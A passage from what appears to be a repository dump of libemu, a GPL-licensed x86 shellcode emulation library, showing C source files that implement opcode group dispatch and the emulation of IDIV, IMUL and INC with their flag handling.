    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_group_3_f6(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_3_f6_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_3_f6_test,\n\t\t/* 1 */ instr_group_3_f6_test,\n\t\t/* 2 */ instr_group_3_f6_not,\n\t\t/* 3 */ instr_group_3_f6_neg,\n\t\t/* 4 */ instr_group_3_f6_mul,\n\t\t/* 5 */ instr_group_3_f6_imul,\n\t\t/* 6 */ instr_group_3_f6_div,\n\t\t/* 7 */ instr_group_3_f6_idiv,\n\t};\n\n\treturn group_3_f6_fn[i->modrm.opc](c, i);\n}\n\n\nint32_t instr_group_3_f7(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_3_f7_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_3_f7_test,\n\t\t/* 1 */ instr_group_3_f7_test,\n\t\t/* 2 */ instr_group_3_f7_not,\n\t\t/* 3 */ instr_group_3_f7_neg,\n\t\t/* 4 */ instr_group_3_f7_mul,\n\t\t/* 5 */ instr_group_3_f7_imul,\n\t\t/* 6 */ instr_group_3_f7_div,\n\t\t/* 7 */ instr_group_3_f7_idiv,\n\t};\n\n\treturn group_3_f7_fn[i->modrm.opc](c, i);\n}\n\n"
  },
  {
    "path": "src/functions/group_4.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_memory.h\"\n\n\nint32_t instr_group_4_fe(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_4_fe_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_4_fe_inc,\n\t\t/* 1 */ instr_group_4_fe_dec,\n\t\t/* 2 */ 0,\n\t\t/* 3 */ 0,\n\t\t/* 4 */ 0,\n\t\t/* 5 */ 0,\n\t\t/* 6 */ 0,\n\t\t/* 7 */ 0,\n\t};\n\n\tif (group_4_fe_fn[i->modrm.opc])\n\t\treturn group_4_fe_fn[i->modrm.opc](c, i);\n\telse\n\t\treturn -1;\n}\n"
  },
  {
    "path": "src/functions/group_5.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_cpu_functions.h\"\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n\n\n\nint32_t instr_group_5_ff(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tstatic int32_t (*group_5_fn[8])(struct emu_cpu *c, struct emu_cpu_instruction *i) = {\n\t\t/* 0 */ instr_group_5_ff_inc,\n\t\t/* 1 */ instr_group_5_ff_dec,\n\t\t/* 2 */ instr_group_5_ff_call,\n\t\t/* 3 */ instr_group_5_ff_call,\n\t\t/* 4 */ instr_group_5_ff_jmp,\n\t\t/* 5 */ instr_group_5_ff_jmp,\n\t\t/* 6 */ instr_group_5_ff_push,\n\t\t/* 7 */ 0,\n\t};\n\n\tif (group_5_fn[i->modrm.opc] != NULL)\n\t\treturn group_5_fn[i->modrm.opc](c, i);\n\telse\n\t\treturn -1;\n}\n"
  },
  {
    "path": "src/functions/idiv.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n#include <errno.h>\n\n#define INSTR_CALC(dbits,bits,cpu,dividend,divisor,quotient,remainder)\\\n{\\\n\tif (divisor == 0) \\\n\t{ \\\n\t\temu_strerror_set(cpu->emu,\"div by zero (%i bits)\\n\",bits); \\\n\t\temu_errno_set(cpu->emu,EINVAL); \\\n\t\treturn -1; \\\n\t} \\\n\tINTOF(dbits) q_result = (INTOF(dbits))dividend / (INTOF(bits))divisor; \\\n\tINTOF(dbits) r_result = (INTOF(dbits))dividend % (INTOF(bits))divisor; \\\n\\\n\tquotient = q_result; \\\n\tremainder = r_result; \\\n\tif ( q_result < max_inttype_borders[bits/8][0][0] || \\\n\t\t q_result > max_inttype_borders[bits/8][0][1] ) \\\n\t{ \\\n\t\temu_strerror_set(cpu->emu,\"div quotient larger than intborder (%i bits)\\n\",bits); \\\n\t\temu_errno_set(cpu->emu,EINVAL); \\\n\t\treturn -1; \\\n\t} \\\n}\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_cpu_stack.h\"\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 332*/\n\nint32_t instr_group_3_f6_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /7 \n\t\t * Signed divide AX (where AH must contain sign-extension of AL) by r/m byte. (Results: AL=Quotient,AH=Remainder)\n\t\t * IDIV r/m8  \n\t\t */\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC(16, \n\t\t\t\t   8,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg16[ax],\n\t\t\t\t   m8,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[ah])\n\t}\n\telse\n\t{\n\t\t/* F6 /7 \n\t\t * Signed divide AX (where AH must contain sign-extension of AL) by r/m byte. (Results: AL=Quotient,AH=Remainder)\n\t\t * IDIV r/m8  \n\t\t */\n\t\tINSTR_CALC(16, \n\t\t\t\t   8,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg16[ax],\n\t\t\t\t   *c->reg8[i->modrm.rm],\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[ah])\n\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_group_3_f7_idiv(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /7 \n\t\t\t * Signed divide DX:AX (where DX must contain sign-extension of AX) by r/m word. (Results: AX=Quotient,DX=Remainder)\n\t\t\t * IDIV r/m16 \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\n\t\t\tuint32_t dividend;\n\t\t\tDWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]);\n\n\t\t\tINSTR_CALC(32, \n\t\t\t\t\t   16,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   m16,\n\t\t\t\t\t   *c->reg16[ax],\n\t\t\t\t\t   *c->reg16[dx])\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /7 \n\t\t\t * Signed divide EDX:EAX (where EDX must contain sign-extension of EAX) by r/m doubleword. (Results: EAX=Quotient, EDX=Remainder)\n\t\t\t * IDIV r/m32 \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\n\t\t\tuint64_t dividend;\n\t\t\tQWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]);\n\n\t\t\tINSTR_CALC(64, \n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   m32,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[edx])\n\n\t\t}\n\t}else\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /7 \n\t\t\t * Signed divide DX:AX (where DX must contain sign-extension of AX) by r/m word. (Results: AX=Quotient,DX=Remainder)\n\t\t\t * IDIV r/m16 \n\t\t\t */\n\t\t\tuint32_t dividend;\n\t\t\tDWORD_FROM_WORDS(dividend,*c->reg16[dx],*c->reg16[ax]);\n\n\t\t\tINSTR_CALC(32, \n\t\t\t\t\t   16,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   *c->reg16[i->modrm.rm],\n\t\t\t\t\t   *c->reg16[ax],\n\t\t\t\t\t   *c->reg16[dx])\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /7 \n\t\t\t * Signed divide EDX:EAX (where EDX must contain sign-extension of EAX) by r/m doubleword. (Results: EAX=Quotient, EDX=Remainder)\n\t\t\t * IDIV r/m32 \n\t\t\t */\n\t\t\tuint64_t dividend;\n\t\t\tQWORD_FROM_DWORDS(dividend,c->reg[edx],c->reg[eax]);\n\n\t\t\tINSTR_CALC(64, \n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   dividend,\n\t\t\t\t\t   c->reg[i->modrm.rm],\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[edx])\n\t\t}\n\t}\n\treturn 0;\n}\n"
  },
  {
    "path": "src/functions/imul.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#define INSTR_CALC(inbits, outbits, cpu, a, b) \\\nINTOF(inbits) operand_a = (INTOF(inbits))a; \\\nINTOF(inbits) operand_b = (INTOF(inbits))b; \\\nINTOF(outbits) operation_result = operand_a * operand_b; \\\n\n\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n\n#include \"emu/emu_memory.h\"\n\n/*Intel Architecture Software Developer's Manual Volume 2: Instruction Set Reference (24319102.PDF) page 335*/\n\n#define INSTR_SET_FLAGS(cpu, upper_result)\t\\\nif (upper_result == 0) \\\n{ \\\n\tCPU_FLAG_UNSET(cpu,f_cf); \\\n\tCPU_FLAG_UNSET(cpu,f_of); \\\n} \\\nelse \\\n{ \\\n\tCPU_FLAG_SET(cpu,f_cf); \\\n\tCPU_FLAG_SET(cpu,f_of); \\\n}\n\n\n\nint32_t instr_imul_69(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 69 /r iw \n\t\t\t * word register <- r/m16 * immediate word                        \n\t\t\t * IMUL r16,imm16      \n\t\t\t *\n\t\t\t * word register <- r/m16 * immediate word                        \n\t\t\t * IMUL r16,r/m16,imm16         \n\t\t\t */\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint16_t sexd;\n\t\t\tbcopy(i->imm16, &sexd, 2);\n#else\n\t\t\tint16_t sexd = (int16_t)*i->imm16;\n#endif\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   m16,\n\t\t\t\t\t   sexd) \n\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 69 /r id \n\t\t\t * doubleword register <- r/m32 * immediate doubleword            \n\t\t\t * IMUL r32,imm32      \n\t\t\t *\n\t\t\t * doubleword register <- r/m32 * immediate doubleword            \n\t\t\t * IMUL r32,r/m32,imm32         \n\t\t\t */\n\t\t\tint32_t sexd = (int32_t)i->imm;\n\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   m32,\n\t\t\t\t\t   sexd)\n\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint32_t high;\n\t\t\tQWORD_UPPER_TO_DWORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 69 /r iw \n\t\t\t * word register <- r/m16 * immediate word                        \n\t\t\t * IMUL r16,imm16      \n\t\t\t *\n\t\t\t * word register <- r/m16 * immediate word                        \n\t\t\t * IMUL r16,r/m16,imm16         \n\t\t\t */\n#if BYTE_ORDER == BIG_ENDIAN\n\t\t\tint16_t sexd;\n\t\t\tbcopy(i->imm16, &sexd, 2);\n#else\n\t\t\tint16_t sexd = (int16_t)*i->imm16;\n#endif\n\n\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   *c->reg16[i->modrm.rm],\n\t\t\t\t\t   sexd)\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 69 /r id \n\t\t\t * doubleword register <- r/m32 * immediate doubleword            \n\t\t\t * IMUL r32,imm32      \n\t\t\t *\n\t\t\t * doubleword register <- r/m32 * immediate doubleword            \n\t\t\t * IMUL r32,r/m32,imm32         \n\t\t\t */ \n\t\t\tint32_t sexd = (int32_t)i->imm;\n\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   c->reg[i->modrm.rm],\n\t\t\t\t\t   sexd)\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint32_t high;\n\t\t\tQWORD_UPPER_TO_DWORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\n\t\t}\n\n\t}\n\n\treturn 0;\n}\n\nint32_t instr_imul_6b(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 6B /r ib \n\t\t\t * word register <- m16 * sign-extended immediate byte          \n\t\t\t * IMUL r16,m16,imm8 \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   m16,\n\t\t\t\t\t   sexd) \n\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 6B /r ib \n\t\t\t * word register <- m16 * sign-extended immediate byte          \n\t\t\t * IMUL r16,m16,imm8 \n\t\t\t */\n\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\n\t\t\tINSTR_CALC(32, \n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   m32,\n\t\t\t\t\t   sexd)\n\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint32_t high;\n\t\t\tQWORD_UPPER_TO_DWORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 6B /r ib \n\t\t\t * word register <- r16 * sign-extended immediate byte          \n\t\t\t * IMUL r16,r16,imm8 \n\t\t\t *\n\t\t\t * word register <- word register * sign-extended immediate byte                                                                \n\t\t\t * IMUL r16,imm8       \n\t\t\t */\n\t\t\tint16_t sexd = (int8_t)*i->imm8;\n\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   *c->reg16[i->modrm.rm],\n\t\t\t\t\t   sexd)\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 6B /r ib \n\t\t\t * doubleword register <- r32 * sign-extended immediate byte                                                                \n\t\t\t * IMUL r32,r32,imm8 \n\t\t\t *\n\t\t\t * doubleword register <- doubleword register * sign-extended immediate byte                                             \n\t\t\t * IMUL r32,imm8       \n\t\t\t */\n\t\t\tint32_t sexd = (int8_t)*i->imm8;\n\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   c->reg[i->modrm.rm],\n\t\t\t\t\t   sexd)\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint32_t high;\n\t\t\tQWORD_UPPER_TO_DWORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t}\n\treturn 0;\n}\n\n\nint32_t instr_imul_0f_af(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F AF /r \n\t\t\t * word register <- word register * r/m word                      \n\t\t\t * IMUL r16,r/m16      \n\t\t\t */                                                                                              \n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   *c->reg16[i->modrm.opc],\n\t\t\t\t\t   m16)\n\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F AF /r \n\t\t\t * doubleword register <- doubleword register * r/m doubleword                                                          \n\t\t\t * IMUL r32,r/m32      \n\t\t\t */\n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   c->reg[i->modrm.opc],\n\t\t\t\t\t   m32)\n\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint16_t high;\n\t\t\tDWORD_UPPER_TO_WORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* 0F AF /r \n\t\t\t * word register <- word register * r/m word                      \n\t\t\t * IMUL r16,r/m16      \n\t\t\t */                                                                                              \n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c, \n\t\t\t\t\t   *c->reg16[i->modrm.opc],\n\t\t\t\t\t   *c->reg16[i->modrm.rm])\n\n\t\t\t*c->reg16[i->modrm.opc] = operation_result;\n\n\t\t\tuint8_t high;\n\t\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* 0F AF /r \n\t\t\t * doubleword register <- doubleword register * r/m doubleword                                                          \n\t\t\t * IMUL r32,r/m32      \n\t\t\t */\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c, \n\t\t\t\t\t   c->reg[i->modrm.opc],\n\t\t\t\t\t   c->reg[i->modrm.rm])\n\n\t\t\tc->reg[i->modrm.opc] = operation_result;\n\n\t\t\tuint16_t high;\n\t\t\tDWORD_UPPER_TO_WORD(high,operation_result);\n\t\t\tINSTR_SET_FLAGS(c,high);\n\t\t}\n\t}\n\treturn 0;\n}\n\n\n\nint32_t instr_group_3_f6_imul(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\t/* F6 /5    \n\t\t * AX<- AL * r/m byte                                             \n\t\t * IMUL r/m8\t\t\t \n\t\t */\n\n\t\tuint8_t m8;\n\t\tMEM_BYTE_READ(c, i->modrm.ea, &m8);\n\t\tINSTR_CALC(8, \n\t\t\t\t   16,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   m8)\n\t\t*c->reg16[ax] = operation_result;\n\t\tuint8_t high;\n\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\tINSTR_SET_FLAGS(c,high);\n\t}\n\telse\n\t{\n\t\t/* F6 /5    \n\t\t * AX<- AL * r/m byte                                             \n\t\t * IMUL r/m8\t\t\t \n\t\t */\n\t\tINSTR_CALC(8,\n\t\t\t\t   16,\n\t\t\t\t   c,\n\t\t\t\t   *c->reg8[al],\n\t\t\t\t   *c->reg8[i->modrm.rm])\n\n\t\t*c->reg16[ax] = operation_result;\n\t\tuint8_t high;\n\t\tWORD_UPPER_TO_BYTE(high,operation_result);\n\t\tINSTR_SET_FLAGS(c,high);\n\t}\n\treturn 0;\n}\n\nint32_t instr_group_3_f7_imul(struct emu_cpu *c, struct emu_cpu_instruction *i)\n{\n\tif ( i->modrm.mod != 3 )\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /5    \n\t\t\t * DX:AX <- AX * r/m word                                         \n\t\t\t * IMUL r/m16          \n\t\t\t */\n\t\t\tuint16_t m16;\n\t\t\tMEM_WORD_READ(c, i->modrm.ea, &m16);\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   *c->reg16[al],\n\t\t\t\t\t   m16)\n\n\t\t\tDWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result);\n\t\t\tDWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,*c->reg16[dx]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /5    \n\t\t\t * EDX:EAX <- EAX * r/m doubleword                                \n\t\t\t * IMUL r/m32          \n\t\t\t */      \n\t\t\tuint32_t m32;\n\t\t\tMEM_DWORD_READ(c, i->modrm.ea, &m32);\n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   m32)\n\n\t\t\tQWORD_UPPER_TO_DWORD(c->reg[edx],operation_result);\n\t\t\tQWORD_LOWER_TO_DWORD(c->reg[eax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,c->reg[edx]);\n\n\t\t}\n\t}\n\telse\n\t{\n\t\tif ( i->prefixes & PREFIX_OPSIZE )\n\t\t{\n\t\t\t/* F7 /5    \n\t\t\t * DX:AX <- AX * r/m word                                         \n\t\t\t * IMUL r/m16          \n\t\t\t */\n\t\t\tINSTR_CALC(16,\n\t\t\t\t\t   32,\n\t\t\t\t\t   c,\n\t\t\t\t\t   *c->reg16[al],\n\t\t\t\t\t   *c->reg16[i->modrm.rm])\n\t\t\tDWORD_UPPER_TO_WORD(*c->reg16[dx],operation_result);\n\t\t\tDWORD_LOWER_TO_WORD(*c->reg16[ax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,*c->reg16[dx]);\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* F7 /5    \n\t\t\t * EDX:EAX <- EAX * r/m doubleword                                \n\t\t\t * IMUL r/m32          \n\t\t\t */                                                                                              \n\t\t\tINSTR_CALC(32,\n\t\t\t\t\t   64,\n\t\t\t\t\t   c,\n\t\t\t\t\t   c->reg[eax],\n\t\t\t\t\t   c->reg[i->modrm.rm])\n\n\t\t\tQWORD_UPPER_TO_DWORD(c->reg[edx],operation_result);\n\t\t\tQWORD_LOWER_TO_DWORD(c->reg[eax],operation_result);\n\n\t\t\tINSTR_SET_FLAGS(c,c->reg[edx]);\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/functions/inc.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdint.h>\n\n#define INSTR_CALC(bits, a)\t\t\t\t\t\t\\\nUINTOF(bits) operand_a = a;\t\t\t\t\t\t\t\t\\\nUINTOF(bits) operation_result = operand_a+1;\t\t\t\t\\\na = operation_result;\n\n\n\n#define INSTR_SET_FLAG_OF(cpu, bits)\t\t\t\t\t\t\t\t\t\\\n{\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\\\n\tint64_t sz = (INTOF(bits))operand_a;                                            